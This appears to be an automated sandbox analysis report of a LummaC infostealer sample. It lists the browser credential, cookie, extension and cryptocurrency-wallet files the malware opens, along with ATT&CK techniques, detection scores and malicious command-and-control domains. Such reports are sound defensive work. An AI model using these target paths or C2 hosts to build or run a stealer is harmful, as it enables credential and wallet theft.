Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior

Source: Yara match

File source: Process Memory Space: 9uB9RDznXl.exe PID: 6816, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 9uB9RDznXl.exe PID: 6816, type: MEMORYSTR
Source: Yara match	File source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	31 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 DLL Side-Loading	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9uB9RDznXl.exe	77%	Virustotal		Browse
9uB9RDznXl.exe	83%	ReversingLabs	Win32.Spyware.Lummastealer
9uB9RDznXl.exe	100%	Avira	TR/AD.Nekark.sbdyl

Source	Detection	Scanner	Label
https://codxefusion.top/apia	100%	Avira URL Cloud	malware
https://codxefusion.top/r	100%	Avira URL Cloud	malware
https://codxefusion.top/8	100%	Avira URL Cloud	malware
https://codxefusion.top/api(	100%	Avira URL Cloud	malware
https://codxefusion.top/s(	100%	Avira URL Cloud	malware
https://codxefusion.top/	100%	Avira URL Cloud	malware
https://codxefusion.top/E	100%	Avira URL Cloud	malware
https://codxefusion.top:443/apil	100%	Avira URL Cloud	malware
https://codxefusion.top:443/api	100%	Avira URL Cloud	malware
https://codxefusion.top/piP	100%	Avira URL Cloud	malware
https://codxefusion.top/pi	100%	Avira URL Cloud	malware
https://codxefusion.top/api	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
codxefusion.top	172.67.212.102	true	false	high
t.me	149.154.167.99	true	false	high
hardswarehub.today	unknown	unknown	false	high
socialsscesforum.icu	unknown	unknown	false	unknown
techmindzs.live	unknown	unknown	true	unknown
gadgethgfub.icu	unknown	unknown	false	high
hardrwarehaven.run	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
techmindzs.live	false		high
gadgethgfub.icu	false		high
quietswtreams.life	false		high
techspherxe.top	false		high
https://t.me/socialsscesforum	false		high
hardswarehub.today	false		high
hardrwarehaven.run	false		high
codxefusion.top	false		high
https://codxefusion.top/api	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://codxefusion.top/s(	9uB9RDznXl.exe, 00000001.00000003.1472837229.0000000003368000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1472993398.0000000003371000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://codxefusion.top/api(	9uB9RDznXl.exe, 00000001.00000003.1427445156.00000000033B2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://codxefusion.top/E	9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://codxefusion.top/	9uB9RDznXl.exe, 00000001.00000003.1481604889.0000000003372000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://codxefusion.top/apia	9uB9RDznXl.exe, 00000001.00000003.1438423322.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1438811794.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://codxefusion.top/piP	9uB9RDznXl.exe, 00000001.00000003.1472837229.0000000003368000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1472993398.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1458990241.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1481604889.0000000003372000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1458575886.0000000003366000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org?q=	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	false		high
https://codxefusion.top/r	9uB9RDznXl.exe, 00000001.00000003.1472837229.0000000003368000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1472993398.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1481604889.0000000003372000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
